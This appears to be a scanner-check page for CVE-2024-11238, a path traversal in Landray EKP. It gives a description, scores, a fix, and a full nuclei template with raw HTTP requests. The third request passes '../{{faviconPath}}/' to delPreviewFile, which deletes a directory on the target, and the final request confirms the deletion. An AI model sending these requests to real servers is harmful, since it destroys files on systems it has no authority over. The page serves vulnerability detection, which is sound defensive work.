Landray EKP - Path Traversal

mediumseverity

6.5CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as critical, was found in Landray EKP up to 16.0. This affects the function delPreviewFile of the file /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile. The manipulation of the argument directoryPath leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Impact

Remote attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.

Fix

Update to the latest version that addresses this vulnerability or apply appropriate patches.

How to confirm it

Send: GET /login.jsp
Positive when: status_code == 200
Send: GET /resource/{{faviconPath}}/favicon.ico
Positive when: status_code == 200
Send: GET /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile&directoryPath=../{{faviconPath}}/
Positive when: status_code == 200 and content_length == 0
Send: GET /resource/{{faviconPath}}/favicon.ico
Positive when: status_code == 404

Run it with nuclei: nuclei -id CVE-2024-11238 -u <target>

The full check

id: CVE-2024-11238

info:
  name: Landray EKP - Path Traversal
  author: theamanrawat
  severity: medium
  description: |
    A vulnerability, which was classified as critical, was found in Landray EKP up to 16.0. This affects the function delPreviewFile of the file /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile. The manipulation of the argument directoryPath leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Remote attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version that addresses this vulnerability or apply appropriate patches.
  reference:
    - https://github.com/CoinIsMoney/TempGuide/blob/main/LL-exp-02.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11238
    - https://vuldb.com/?ctiid.284673
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-11238
    cwe-id: CWE-22
    epss-score: 0.05747
    epss-percentile: 0.93127
    cpe: cpe:2.3:a:landray:landray_ekp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: landray
    product: landray_ekp
    shodan-query: http.favicon.hash:831854882
  tags: cve,cve2024,lfi,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: faviconPath
        internal: true
        group: 1
        regex:
          - 'href="/resource/(.*?)/favicon.ico"'

  - raw:
      - |
        GET /resource/{{faviconPath}}/favicon.ico HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile&directoryPath=../{{faviconPath}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - content_length == 0
        condition: and
        internal: true

  - raw:
      - |
        GET /resource/{{faviconPath}}/favicon.ico HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 404

References

Use this check only on systems you are authorised to test. Where the data comes from